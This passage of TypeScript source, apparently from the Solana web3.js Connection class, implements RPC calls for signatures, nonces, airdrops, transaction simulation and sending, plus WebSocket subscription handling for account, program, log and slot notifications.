(err instanceof Error && err.message.includes('skipped')) {\n continue;\n } else {\n throw err;\n }\n }\n }\n\n const confirmedSignatureInfo = await this.getConfirmedSignaturesForAddress2(\n address,\n options,\n );\n return confirmedSignatureInfo.map(info => info.signature);\n }\n\n /**\n * Returns confirmed signatures for transactions involving an\n * address backwards in time from the provided signature or most recent confirmed block\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getSignaturesForAddress} instead.\n */\n async getConfirmedSignaturesForAddress2(\n address: PublicKey,\n options?: ConfirmedSignaturesForAddress2Options,\n commitment?: Finality,\n ): Promise<Array<ConfirmedSignatureInfo>> {\n const args = this._buildArgsAtLeastConfirmed(\n [address.toBase58()],\n commitment,\n undefined,\n options,\n );\n const unsafeRes = await this._rpcRequest(\n 'getConfirmedSignaturesForAddress2',\n args,\n );\n const res = create(unsafeRes, GetConfirmedSignaturesForAddress2RpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get confirmed signatures for address',\n );\n }\n return res.result;\n }\n\n /**\n * Returns confirmed signatures for transactions involving an\n * address backwards in time from the provided signature or most recent confirmed block\n *\n *\n * @param address queried address\n * @param options\n */\n async getSignaturesForAddress(\n address: PublicKey,\n options?: SignaturesForAddressOptions,\n commitment?: Finality,\n ): Promise<Array<ConfirmedSignatureInfo>> {\n const args = this._buildArgsAtLeastConfirmed(\n [address.toBase58()],\n commitment,\n undefined,\n options,\n );\n const unsafeRes = await this._rpcRequest('getSignaturesForAddress', args);\n const res = create(unsafeRes, GetSignaturesForAddressRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get signatures for address',\n );\n }\n return res.result;\n }\n\n async getAddressLookupTable(\n accountKey: PublicKey,\n config?: GetAccountInfoConfig,\n ): Promise<RpcResponseAndContext<AddressLookupTableAccount | null>> {\n const {context, value: accountInfo} = await this.getAccountInfoAndContext(\n accountKey,\n config,\n );\n\n let value = null;\n if (accountInfo !== null) {\n value = new AddressLookupTableAccount({\n key: accountKey,\n state: AddressLookupTableAccount.deserialize(accountInfo.data),\n });\n }\n\n return {\n context,\n value,\n };\n }\n\n /**\n * Fetch the contents of a Nonce account from the cluster, return with context\n */\n async getNonceAndContext(\n nonceAccount: PublicKey,\n commitmentOrConfig?: Commitment | GetNonceAndContextConfig,\n ): Promise<RpcResponseAndContext<NonceAccount | null>> {\n const {context, value: accountInfo} = await this.getAccountInfoAndContext(\n nonceAccount,\n commitmentOrConfig,\n );\n\n let value = null;\n if (accountInfo !== null) {\n value = NonceAccount.fromAccountData(accountInfo.data);\n }\n\n return {\n context,\n value,\n };\n }\n\n /**\n * Fetch the contents of a Nonce account from the cluster\n */\n async getNonce(\n nonceAccount: PublicKey,\n commitmentOrConfig?: Commitment | GetNonceConfig,\n ): Promise<NonceAccount | null> {\n return await this.getNonceAndContext(nonceAccount, commitmentOrConfig)\n .then(x => x.value)\n .catch(e => {\n throw new Error(\n 'failed to get nonce for account ' +\n nonceAccount.toBase58() +\n ': ' +\n e,\n );\n });\n }\n\n /**\n * Request an allocation of lamports to the specified address\n *\n * ```typescript\n * import { Connection, PublicKey, LAMPORTS_PER_SOL } from \"@solana/web3.js\";\n *\n * (async () => {\n * const connection = new Connection(\"https://api.testnet.solana.com\", \"confirmed\");\n * const myAddress = new PublicKey(\"2nr1bHFT86W9tGnyvmYW4vcHKsQB3sVQfnddasz4kExM\");\n * const signature = await connection.requestAirdrop(myAddress, LAMPORTS_PER_SOL);\n * await connection.confirmTransaction(signature);\n * })();\n * ```\n */\n async requestAirdrop(\n to: PublicKey,\n lamports: number,\n ): Promise<TransactionSignature> {\n const unsafeRes = await this._rpcRequest('requestAirdrop', [\n to.toBase58(),\n lamports,\n ]);\n const res = create(unsafeRes, RequestAirdropRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `airdrop to ${to.toBase58()} failed`,\n );\n }\n return res.result;\n }\n\n /**\n * @internal\n */\n async _blockhashWithExpiryBlockHeight(\n disableCache: boolean,\n ): Promise<BlockhashWithExpiryBlockHeight> {\n if (!disableCache) {\n // Wait for polling to finish\n while (this._pollingBlockhash) {\n await sleep(100);\n }\n const timeSinceFetch = Date.now() - this._blockhashInfo.lastFetch;\n const expired = timeSinceFetch >= BLOCKHASH_CACHE_TIMEOUT_MS;\n if (this._blockhashInfo.latestBlockhash !== null && !expired) {\n return this._blockhashInfo.latestBlockhash;\n }\n }\n\n return await this._pollNewBlockhash();\n }\n\n /**\n * @internal\n */\n async _pollNewBlockhash(): Promise<BlockhashWithExpiryBlockHeight> {\n this._pollingBlockhash = true;\n try {\n const startTime = Date.now();\n const cachedLatestBlockhash = this._blockhashInfo.latestBlockhash;\n const cachedBlockhash = cachedLatestBlockhash\n ? cachedLatestBlockhash.blockhash\n : null;\n for (let i = 0; i < 50; i++) {\n const latestBlockhash = await this.getLatestBlockhash('finalized');\n\n if (cachedBlockhash !== latestBlockhash.blockhash) {\n this._blockhashInfo = {\n latestBlockhash,\n lastFetch: Date.now(),\n transactionSignatures: [],\n simulatedSignatures: [],\n };\n return latestBlockhash;\n }\n\n // Sleep for approximately half a slot\n await sleep(MS_PER_SLOT / 2);\n }\n\n throw new Error(\n `Unable to obtain a new blockhash after ${Date.now() - startTime}ms`,\n );\n } finally {\n this._pollingBlockhash = false;\n }\n }\n\n /**\n * get the stake minimum delegation\n */\n async getStakeMinimumDelegation(\n config?: GetStakeMinimumDelegationConfig,\n ): Promise<RpcResponseAndContext<number>> {\n const {commitment, config: configArg} = extractCommitmentFromConfig(config);\n const args = this._buildArgs([], commitment, 'base64', configArg);\n const unsafeRes = await this._rpcRequest('getStakeMinimumDelegation', args);\n const res = create(unsafeRes, jsonRpcResultAndContext(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get stake minimum delegation`,\n );\n }\n return res.result;\n }\n\n /**\n * Simulate a transaction\n *\n * @deprecated Instead, call {@link simulateTransaction} with {@link\n * VersionedTransaction} and {@link SimulateTransactionConfig} parameters\n */\n simulateTransaction(\n transactionOrMessage: Transaction | Message,\n signers?: Array<Signer>,\n includeAccounts?: boolean | Array<PublicKey>,\n ): Promise<RpcResponseAndContext<SimulatedTransactionResponse>>;\n\n /**\n * Simulate a transaction\n */\n // eslint-disable-next-line no-dupe-class-members\n simulateTransaction(\n transaction: VersionedTransaction,\n config?: SimulateTransactionConfig,\n ): Promise<RpcResponseAndContext<SimulatedTransactionResponse>>;\n\n /**\n * Simulate a transaction\n */\n // eslint-disable-next-line no-dupe-class-members\n async simulateTransaction(\n transactionOrMessage: VersionedTransaction | Transaction | Message,\n configOrSigners?: SimulateTransactionConfig | Array<Signer>,\n includeAccounts?: boolean | Array<PublicKey>,\n ): Promise<RpcResponseAndContext<SimulatedTransactionResponse>> {\n if ('message' in transactionOrMessage) {\n const versionedTx = transactionOrMessage;\n const wireTransaction = versionedTx.serialize();\n const encodedTransaction =\n Buffer.from(wireTransaction).toString('base64');\n if (Array.isArray(configOrSigners) || includeAccounts !== undefined) {\n throw new Error('Invalid arguments');\n }\n\n const config: any = configOrSigners || {};\n config.encoding = 'base64';\n if (!('commitment' in config)) {\n config.commitment = this.commitment;\n }\n\n if (\n configOrSigners &&\n typeof configOrSigners === 'object' &&\n 'innerInstructions' in configOrSigners\n ) {\n config.innerInstructions = configOrSigners.innerInstructions;\n }\n\n const args = [encodedTransaction, config];\n const unsafeRes = await this._rpcRequest('simulateTransaction', args);\n const res = create(unsafeRes, SimulatedTransactionResponseStruct);\n if ('error' in res) {\n throw new Error('failed to simulate transaction: ' + res.error.message);\n }\n return res.result;\n }\n\n let transaction;\n if (transactionOrMessage instanceof Transaction) {\n let originalTx: Transaction = transactionOrMessage;\n transaction = new Transaction();\n transaction.feePayer = originalTx.feePayer;\n transaction.instructions = transactionOrMessage.instructions;\n transaction.nonceInfo = originalTx.nonceInfo;\n transaction.signatures = originalTx.signatures;\n } else {\n transaction = Transaction.populate(transactionOrMessage);\n // HACK: this function relies on mutating the populated transaction\n transaction._message = transaction._json = undefined;\n }\n\n if (configOrSigners !== undefined && !Array.isArray(configOrSigners)) {\n throw new Error('Invalid arguments');\n }\n\n const signers = configOrSigners;\n if (transaction.nonceInfo && signers) {\n transaction.sign(...signers);\n } else {\n let disableCache = this._disableBlockhashCaching;\n for (;;) {\n const latestBlockhash =\n await this._blockhashWithExpiryBlockHeight(disableCache);\n transaction.lastValidBlockHeight = latestBlockhash.lastValidBlockHeight;\n transaction.recentBlockhash = latestBlockhash.blockhash;\n\n if (!signers) break;\n\n transaction.sign(...signers);\n if (!transaction.signature) {\n throw new Error('!signature'); // should never happen\n }\n\n const signature = transaction.signature.toString('base64');\n if (\n !this._blockhashInfo.simulatedSignatures.includes(signature) &&\n !this._blockhashInfo.transactionSignatures.includes(signature)\n ) {\n // The signature of this transaction has not been seen before with the\n // current recentBlockhash, all done. Let's break\n this._blockhashInfo.simulatedSignatures.push(signature);\n break;\n } else {\n // This transaction would be treated as duplicate (its derived signature\n // matched to one of already recorded signatures).\n // So, we must fetch a new blockhash for a different signature by disabling\n // our cache not to wait for the cache expiration (BLOCKHASH_CACHE_TIMEOUT_MS).\n disableCache = true;\n }\n }\n }\n\n const message = transaction._compile();\n const signData = message.serialize();\n const wireTransaction = transaction._serialize(signData);\n const encodedTransaction = wireTransaction.toString('base64');\n const config: any = {\n encoding: 'base64',\n commitment: this.commitment,\n };\n\n if (includeAccounts) {\n const addresses = (\n Array.isArray(includeAccounts)\n ? includeAccounts\n : message.nonProgramIds()\n ).map(key => key.toBase58());\n\n config['accounts'] = {\n encoding: 'base64',\n addresses,\n };\n }\n\n if (signers) {\n config.sigVerify = true;\n }\n\n if (\n configOrSigners &&\n typeof configOrSigners === 'object' &&\n 'innerInstructions' in configOrSigners\n ) {\n config.innerInstructions = configOrSigners.innerInstructions;\n }\n\n const args = [encodedTransaction, config];\n const unsafeRes = await this._rpcRequest('simulateTransaction', args);\n const res = create(unsafeRes, SimulatedTransactionResponseStruct);\n if ('error' in res) {\n let logs;\n if ('data' in res.error) {\n logs = res.error.data.logs;\n if (logs && Array.isArray(logs)) {\n const traceIndent = '\\n ';\n const logTrace = traceIndent + logs.join(traceIndent);\n console.error(res.error.message, logTrace);\n }\n }\n\n throw new SendTransactionError({\n action: 'simulate',\n signature: '',\n transactionMessage: res.error.message,\n logs: logs,\n });\n }\n return res.result;\n }\n\n /**\n * Sign and send a transaction\n *\n * @deprecated Instead, call {@link sendTransaction} with a {@link\n * VersionedTransaction}\n */\n sendTransaction(\n transaction: Transaction,\n signers: Array<Signer>,\n options?: SendOptions,\n ): Promise<TransactionSignature>;\n\n /**\n * Send a signed transaction\n */\n // eslint-disable-next-line no-dupe-class-members\n sendTransaction(\n transaction: VersionedTransaction,\n options?: SendOptions,\n ): Promise<TransactionSignature>;\n\n /**\n * Sign and send a transaction\n */\n // eslint-disable-next-line no-dupe-class-members\n async sendTransaction(\n transaction: VersionedTransaction | Transaction,\n signersOrOptions?: Array<Signer> | SendOptions,\n options?: SendOptions,\n ): Promise<TransactionSignature> {\n if ('version' in transaction) {\n if (signersOrOptions && Array.isArray(signersOrOptions)) {\n throw new Error('Invalid arguments');\n }\n\n const wireTransaction = transaction.serialize();\n return await this.sendRawTransaction(wireTransaction, signersOrOptions);\n }\n\n if (signersOrOptions === undefined || !Array.isArray(signersOrOptions)) {\n throw new Error('Invalid arguments');\n }\n\n const signers = signersOrOptions;\n if (transaction.nonceInfo) {\n transaction.sign(...signers);\n } else {\n let disableCache = this._disableBlockhashCaching;\n for (;;) {\n const latestBlockhash =\n await this._blockhashWithExpiryBlockHeight(disableCache);\n transaction.lastValidBlockHeight = latestBlockhash.lastValidBlockHeight;\n transaction.recentBlockhash = latestBlockhash.blockhash;\n transaction.sign(...signers);\n if (!transaction.signature) {\n throw new Error('!signature'); // should never happen\n }\n\n const signature = transaction.signature.toString('base64');\n if (!this._blockhashInfo.transactionSignatures.includes(signature)) {\n // The signature of this transaction has not been seen before with the\n // current recentBlockhash, all done. Let's break\n this._blockhashInfo.transactionSignatures.push(signature);\n break;\n } else {\n // This transaction would be treated as duplicate (its derived signature\n // matched to one of already recorded signatures).\n // So, we must fetch a new blockhash for a different signature by disabling\n // our cache not to wait for the cache expiration (BLOCKHASH_CACHE_TIMEOUT_MS).\n disableCache = true;\n }\n }\n }\n\n const wireTransaction = transaction.serialize();\n return await this.sendRawTransaction(wireTransaction, options);\n }\n\n /**\n * Send a transaction that has already been signed and serialized into the\n * wire format\n */\n async sendRawTransaction(\n rawTransaction: Buffer | Uint8Array | Array<number>,\n options?: SendOptions,\n ): Promise<TransactionSignature> {\n const encodedTransaction = toBuffer(rawTransaction).toString('base64');\n const result = await this.sendEncodedTransaction(\n encodedTransaction,\n options,\n );\n return result;\n }\n\n /**\n * Send a transaction that has already been signed, serialized into the\n * wire format, and encoded as a base64 string\n */\n async sendEncodedTransaction(\n encodedTransaction: string,\n options?: SendOptions,\n ): Promise<TransactionSignature> {\n const config: any = {encoding: 'base64'};\n const skipPreflight = options && options.skipPreflight;\n const preflightCommitment =\n skipPreflight === true\n ? 'processed' // FIXME Remove when https://github.com/anza-xyz/agave/pull/483 is deployed.\n : (options && options.preflightCommitment) || this.commitment;\n\n if (options && options.maxRetries != null) {\n config.maxRetries = options.maxRetries;\n }\n if (options && options.minContextSlot != null) {\n config.minContextSlot = options.minContextSlot;\n }\n if (skipPreflight) {\n config.skipPreflight = skipPreflight;\n }\n if (preflightCommitment) {\n config.preflightCommitment = preflightCommitment;\n }\n\n const args = [encodedTransaction, config];\n const unsafeRes = await this._rpcRequest('sendTransaction', args);\n const res = create(unsafeRes, SendTransactionRpcResult);\n if ('error' in res) {\n let logs = undefined;\n if ('data' in res.error) {\n logs = res.error.data.logs;\n }\n\n throw new SendTransactionError({\n action: skipPreflight ? 'send' : 'simulate',\n signature: '',\n transactionMessage: res.error.message,\n logs: logs,\n });\n }\n return res.result;\n }\n\n /**\n * @internal\n */\n _wsOnOpen() {\n this._rpcWebSocketConnected = true;\n this._rpcWebSocketHeartbeat = setInterval(() => {\n // Ping server every 5s to prevent idle timeouts\n (async () => {\n try {\n await this._rpcWebSocket.notify('ping');\n // eslint-disable-next-line no-empty\n } catch {}\n })();\n }, 5000);\n this._updateSubscriptions();\n }\n\n /**\n * @internal\n */\n _wsOnError(err: Error) {\n this._rpcWebSocketConnected = false;\n console.error('ws error:', err.message);\n }\n\n /**\n * @internal\n */\n _wsOnClose(code: number) {\n this._rpcWebSocketConnected = false;\n this._rpcWebSocketGeneration =\n (this._rpcWebSocketGeneration + 1) % Number.MAX_SAFE_INTEGER;\n if (this._rpcWebSocketIdleTimeout) {\n clearTimeout(this._rpcWebSocketIdleTimeout);\n this._rpcWebSocketIdleTimeout = null;\n }\n if (this._rpcWebSocketHeartbeat) {\n clearInterval(this._rpcWebSocketHeartbeat);\n this._rpcWebSocketHeartbeat = null;\n }\n\n if (code === 1000) {\n // explicit close, check if any subscriptions have been made since close\n this._updateSubscriptions();\n return;\n }\n\n // implicit close, prepare subscriptions for auto-reconnect\n this._subscriptionCallbacksByServerSubscriptionId = {};\n Object.entries(\n this._subscriptionsByHash as Record<SubscriptionConfigHash, Subscription>,\n ).forEach(([hash, subscription]) => {\n this._setSubscription(hash, {\n ...subscription,\n state: 'pending',\n });\n });\n }\n\n /**\n * @internal\n */\n private _setSubscription(\n hash: SubscriptionConfigHash,\n nextSubscription: Subscription,\n ) {\n const prevState = this._subscriptionsByHash[hash]?.state;\n this._subscriptionsByHash[hash] = nextSubscription;\n if (prevState !== nextSubscription.state) {\n const stateChangeCallbacks =\n this._subscriptionStateChangeCallbacksByHash[hash];\n if (stateChangeCallbacks) {\n stateChangeCallbacks.forEach(cb => {\n try {\n cb(nextSubscription.state);\n // eslint-disable-next-line no-empty\n } catch {}\n });\n }\n }\n }\n\n /**\n * @internal\n */\n private _onSubscriptionStateChange(\n clientSubscriptionId: ClientSubscriptionId,\n callback: SubscriptionStateChangeCallback,\n ): SubscriptionStateChangeDisposeFn {\n const hash =\n this._subscriptionHashByClientSubscriptionId[clientSubscriptionId];\n if (hash == null) {\n return () => {};\n }\n const stateChangeCallbacks = (this._subscriptionStateChangeCallbacksByHash[\n hash\n ] ||= new Set());\n stateChangeCallbacks.add(callback);\n return () => {\n stateChangeCallbacks.delete(callback);\n if (stateChangeCallbacks.size === 0) {\n delete this._subscriptionStateChangeCallbacksByHash[hash];\n }\n };\n }\n\n /**\n * @internal\n */\n async _updateSubscriptions() {\n if (Object.keys(this._subscriptionsByHash).length === 0) {\n if (this._rpcWebSocketConnected) {\n this._rpcWebSocketConnected = false;\n this._rpcWebSocketIdleTimeout = setTimeout(() => {\n this._rpcWebSocketIdleTimeout = null;\n try {\n this._rpcWebSocket.close();\n } catch (err) {\n // swallow error if socket has already been closed.\n if (err instanceof Error) {\n console.log(\n `Error when closing socket connection: ${err.message}`,\n );\n }\n }\n }, 500);\n }\n return;\n }\n\n if (this._rpcWebSocketIdleTimeout !== null) {\n clearTimeout(this._rpcWebSocketIdleTimeout);\n this._rpcWebSocketIdleTimeout = null;\n this._rpcWebSocketConnected = true;\n }\n\n if (!this._rpcWebSocketConnected) {\n this._rpcWebSocket.connect();\n return;\n }\n\n const activeWebSocketGeneration = this._rpcWebSocketGeneration;\n const isCurrentConnectionStillActive = () => {\n return activeWebSocketGeneration === this._rpcWebSocketGeneration;\n };\n\n await Promise.all(\n // Don't be tempted to change this to `Object.entries`. We call\n // `_updateSubscriptions` recursively when processing the state,\n // so it's important that we look up the *current* version of\n // each subscription, every time we process a hash.\n Object.keys(this._subscriptionsByHash).map(async hash => {\n const subscription = this._subscriptionsByHash[hash];\n if (subscription === undefined) {\n // This entry has since been deleted. Skip.\n return;\n }\n switch (subscription.state) {\n case 'pending':\n case 'unsubscribed':\n if (subscription.callbacks.size === 0) {\n /**\n * You can end up here when:\n *\n * - a subscription has recently unsubscribed\n * without having new callbacks added to it\n * while the unsubscribe was in flight, or\n * - when a pending subscription has its\n * listeners removed before a request was\n * sent to the server.\n *\n * Being that nobody is interested in this\n * subscription any longer, delete it.\n */\n delete this._subscriptionsByHash[hash];\n if (subscription.state === 'unsubscribed') {\n delete this._subscriptionCallbacksByServerSubscriptionId[\n subscription.serverSubscriptionId\n ];\n }\n await this._updateSubscriptions();\n return;\n }\n await (async () => {\n const {args, method} = subscription;\n try {\n this._setSubscription(hash, {\n ...subscription,\n state: 'subscribing',\n });\n const serverSubscriptionId: ServerSubscriptionId =\n (await this._rpcWebSocket.call(method, args)) as number;\n this._setSubscription(hash, {\n ...subscription,\n serverSubscriptionId,\n state: 'subscribed',\n });\n this._subscriptionCallbacksByServerSubscriptionId[\n serverSubscriptionId\n ] = subscription.callbacks;\n await this._updateSubscriptions();\n } catch (e) {\n console.error(\n `Received ${e instanceof Error ? '' : 'JSON-RPC '}error calling \\`${method}\\``,\n {\n args,\n error: e,\n },\n );\n if (!isCurrentConnectionStillActive()) {\n return;\n }\n // TODO: Maybe add an 'errored' state or a retry limit?\n this._setSubscription(hash, {\n ...subscription,\n state: 'pending',\n });\n await this._updateSubscriptions();\n }\n })();\n break;\n case 'subscribed':\n if (subscription.callbacks.size === 0) {\n // By the time we successfully set up a subscription\n // with the server, the client stopped caring about it.\n // Tear it down now.\n await (async () => {\n const {serverSubscriptionId, unsubscribeMethod} = subscription;\n if (\n this._subscriptionsAutoDisposedByRpc.has(serverSubscriptionId)\n ) {\n /**\n * Special case.\n * If we're dealing with a subscription that has been auto-\n * disposed by the RPC, then we can skip the RPC call to\n * tear down the subscription here.\n *\n * NOTE: There is a proposal to eliminate this special case, here:\n * https://github.com/solana-labs/solana/issues/18892\n */\n this._subscriptionsAutoDisposedByRpc.delete(\n serverSubscriptionId,\n );\n } else {\n this._setSubscription(hash, {\n ...subscription,\n state: 'unsubscribing',\n });\n this._setSubscription(hash, {\n ...subscription,\n state: 'unsubscribing',\n });\n try {\n await this._rpcWebSocket.call(unsubscribeMethod, [\n serverSubscriptionId,\n ]);\n } catch (e) {\n if (e instanceof Error) {\n console.error(`${unsubscribeMethod} error:`, e.message);\n }\n if (!isCurrentConnectionStillActive()) {\n return;\n }\n // TODO: Maybe add an 'errored' state or a retry limit?\n this._setSubscription(hash, {\n ...subscription,\n state: 'subscribed',\n });\n await this._updateSubscriptions();\n return;\n }\n }\n this._setSubscription(hash, {\n ...subscription,\n state: 'unsubscribed',\n });\n await this._updateSubscriptions();\n })();\n }\n break;\n case 'subscribing':\n case 'unsubscribing':\n break;\n }\n }),\n );\n }\n\n /**\n * @internal\n */\n private _handleServerNotification<\n TCallback extends SubscriptionConfig['callback'],\n >(\n serverSubscriptionId: ServerSubscriptionId,\n callbackArgs: Parameters<TCallback>,\n ): void {\n const callbacks =\n this._subscriptionCallbacksByServerSubscriptionId[serverSubscriptionId];\n if (callbacks === undefined) {\n return;\n }\n callbacks.forEach(cb => {\n try {\n cb(\n // I failed to find a way to convince TypeScript that `cb` is of type\n // `TCallback` which is certainly compatible with `Parameters<TCallback>`.\n // See https://github.com/microsoft/TypeScript/issues/47615\n // @ts-ignore\n ...callbackArgs,\n );\n } catch (e) {\n console.error(e);\n }\n });\n }\n\n /**\n * @internal\n */\n _wsOnAccountNotification(notification: object) {\n const {result, subscription} = create(\n notification,\n AccountNotificationResult,\n );\n this._handleServerNotification<AccountChangeCallback>(subscription, [\n result.value,\n result.context,\n ]);\n }\n\n /**\n * @internal\n */\n private _makeSubscription(\n subscriptionConfig: SubscriptionConfig,\n /**\n * When preparing `args` for a call to `_makeSubscription`, be sure\n * to carefully apply a default `commitment` property, if necessary.\n *\n * - If the user supplied a `commitment` use that.\n * - Otherwise, if the `Connection::commitment` is set, use that.\n * - Otherwise, set it to the RPC server default: `finalized`.\n *\n * This is extremely important to ensure that these two fundamentally\n * identical subscriptions produce the same identifying hash:\n *\n * - A subscription made without specifying a commitment.\n * - A subscription made where the commitment specified is the same\n * as the default applied to the subscription above.\n *\n * Example; these two subscriptions must produce the same hash:\n *\n * - An `accountSubscribe` subscription for `'PUBKEY'`\n * - An `accountSubscribe` subscription for `'PUBKEY'` with commitment\n * `'finalized'`.\n *\n * See the 'making a subscription with defaulted params omitted' test\n * in `connection-subscriptions.ts` for more.\n */\n args: IWSRequestParams,\n ): ClientSubscriptionId {\n const clientSubscriptionId = this._nextClientSubscriptionId++;\n const hash = fastStableStringify([subscriptionConfig.method, args]);\n const existingSubscription = this._subscriptionsByHash[hash];\n if (existingSubscription === undefined) {\n this._subscriptionsByHash[hash] = {\n ...subscriptionConfig,\n args,\n callbacks: new Set([subscriptionConfig.callback]),\n state: 'pending',\n };\n } else {\n existingSubscription.callbacks.add(subscriptionConfig.callback);\n }\n this._subscriptionHashByClientSubscriptionId[clientSubscriptionId] = hash;\n this._subscriptionDisposeFunctionsByClientSubscriptionId[\n clientSubscriptionId\n ] = async () => {\n delete this._subscriptionDisposeFunctionsByClientSubscriptionId[\n clientSubscriptionId\n ];\n delete this._subscriptionHashByClientSubscriptionId[clientSubscriptionId];\n const subscription = this._subscriptionsByHash[hash];\n assert(\n subscription !== undefined,\n `Could not find a \\`Subscription\\` when tearing down client subscription #${clientSubscriptionId}`,\n );\n subscription.callbacks.delete(subscriptionConfig.callback);\n await this._updateSubscriptions();\n };\n this._updateSubscriptions();\n return clientSubscriptionId;\n }\n\n /**\n * Register a callback to be invoked whenever the specified account changes\n *\n * @param publicKey Public key of the account to monitor\n * @param callback Function to invoke whenever the account is changed\n * @param config\n * @return subscription id\n */\n onAccountChange(\n publicKey: PublicKey,\n callback: AccountChangeCallback,\n config?: AccountSubscriptionConfig,\n ): ClientSubscriptionId;\n /** @deprecated Instead, pass in an {@link AccountSubscriptionConfig} */\n // eslint-disable-next-line no-dupe-class-members\n onAccountChange(\n publicKey: PublicKey,\n callback: AccountChangeCallback,\n commitment?: Commitment,\n ): ClientSubscriptionId;\n // eslint-disable-next-line no-dupe-class-members\n onAccountChange(\n publicKey: PublicKey,\n callback: AccountChangeCallback,\n commitmentOrConfig?: Commitment | AccountSubscriptionConfig,\n ): ClientSubscriptionId {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment || this._commitment || 'finalized', // Apply connection/server default.\n 'base64',\n config,\n );\n return this._makeSubscription(\n {\n callback,\n method: 'accountSubscribe',\n unsubscribeMethod: 'accountUnsubscribe',\n },\n args,\n );\n }\n\n /**\n * Deregister an account notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeAccountChangeListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'account change',\n );\n }\n\n /**\n * @internal\n */\n _wsOnProgramAccountNotification(notification: Object) {\n const {result, subscription} = create(\n notification,\n ProgramAccountNotificationResult,\n );\n this._handleServerNotification<ProgramAccountChangeCallback>(subscription, [\n {\n accountId: result.value.pubkey,\n accountInfo: result.value.account,\n },\n result.context,\n ]);\n }\n\n /**\n * Register a callback to be invoked whenever accounts owned by the\n * specified program change\n *\n * @param programId Public key of the program to monitor\n * @param callback Function to invoke whenever the account is changed\n * @param config\n * @return subscription id\n */\n onProgramAccountChange(\n programId: PublicKey,\n callback: ProgramAccountChangeCallback,\n config?: ProgramAccountSubscriptionConfig,\n ): ClientSubscriptionId;\n /** @deprecated Instead, pass in a {@link ProgramAccountSubscriptionConfig} */\n // eslint-disable-next-line no-dupe-class-members\n onProgramAccountChange(\n programId: PublicKey,\n callback: ProgramAccountChangeCallback,\n commitment?: Commitment,\n filters?: GetProgramAccountsFilter[],\n ): ClientSubscriptionId;\n // eslint-disable-next-line no-dupe-class-members\n onProgramAccountChange(\n programId: PublicKey,\n callback: ProgramAccountChangeCallback,\n commitmentOrConfig?: Commitment | ProgramAccountSubscriptionConfig,\n maybeFilters?: GetProgramAccountsFilter[],\n ): ClientSubscriptionId {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [programId.toBase58()],\n commitment || this._commitment || 'finalized', // Apply connection/server default.\n 'base64' /* encoding */,\n config\n ? config\n : maybeFilters\n ? {filters: applyDefaultMemcmpEncodingToFilters(maybeFilters)}\n : undefined /* extra */,\n );\n return this._makeSubscription(\n {\n callback,\n method: 'programSubscribe',\n unsubscribeMethod: 'programUnsubscribe',\n },\n args,\n );\n }\n\n /**\n * Deregister an account notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeProgramAccountChangeListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'program account change',\n );\n }\n\n /**\n * Registers a callback to be invoked whenever logs are emitted.\n */\n onLogs(\n filter: LogsFilter,\n callback: LogsCallback,\n commitment?: Commitment,\n ): ClientSubscriptionId {\n const args = this._buildArgs(\n [typeof filter === 'object' ? {mentions: [filter.toString()]} : filter],\n commitment || this._commitment || 'finalized', // Apply connection/server default.\n );\n return this._makeSubscription(\n {\n callback,\n method: 'logsSubscribe',\n unsubscribeMethod: 'logsUnsubscribe',\n },\n args,\n );\n }\n\n /**\n * Deregister a logs callback.\n *\n * @param clientSubscriptionId client subscription id to deregister.\n */\n async removeOnLogsListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(clientSubscriptionId, 'logs');\n }\n\n /**\n * @internal\n */\n _wsOnLogsNotification(notification: Object) {\n const {result, subscription} = create(notification, LogsNotificationResult);\n this._handleServerNotification<LogsCallback>(subscription, [\n result.value,\n result.context,\n ]);\n }\n\n /**\n * @internal\n */\n _wsOnSlotNotification(notification: Object) {\n const {result, subscription} = create(notification, SlotNotificationResult);\n this._handleServerNotification<SlotChangeCallback>(subscription, [result]);\n }\n\n /**\n * Register a callback to be invoked upon slot changes\n *\n * @param callback Function to invoke whenever the slot changes\n * @return subscription id\n */\n onSlotChange(callback: SlotChangeCallback): ClientSubscriptionId {\n return this._makeSubscription(\n {\n callback,\n method: 'slotSubscribe',\n unsubscribeMethod: 'slotUnsubscribe',\n },\n [] /* args */,\n );\n }\n\n /**\n * Deregister a slot notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeSlotChangeListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'slot change',\n );\n }\n\n /**\n * @internal\n */\n _wsOnSlotUpdatesNotification(notification: Object) {\n const {result, subscription} = create(\n notification,\n SlotUpdateNotificationResult,\n );\n this._handleServerNotification<SlotUpdateCallback>(subscription, [result]);\n }\n\n /**\n * Register a callback to be invoked upon slot updates. {@link SlotUpdate}'s\n * may be useful to track live progress of a cluster.\n *\n * @param callback Function to invoke whenever the slot updates\n * @return subscription id\n */\n onSlotUpdate(callback: SlotUpdateCallback): ClientSubscriptionId {\n return this._makeSubscription(\n {\n callback,\n method: 'slotsUpdatesSubscribe',\n unsubscribeMethod: 'slotsUpdatesUnsubscribe',\n },\n [] /* args */,\n );\n }\n\n /**\n * Deregister a slot update notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeSlotUpdateListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'slot update',\n );\n }\n\n /**\n * @internal\n */\n\n private async _unsubscribeClientSubscription(\n clientSubscriptionId: ClientSubscriptionId,\n subscriptionName: string,\n ) {\n const dispose =\n this._subscriptionDisposeFunctionsByClientSubscriptionId[\n 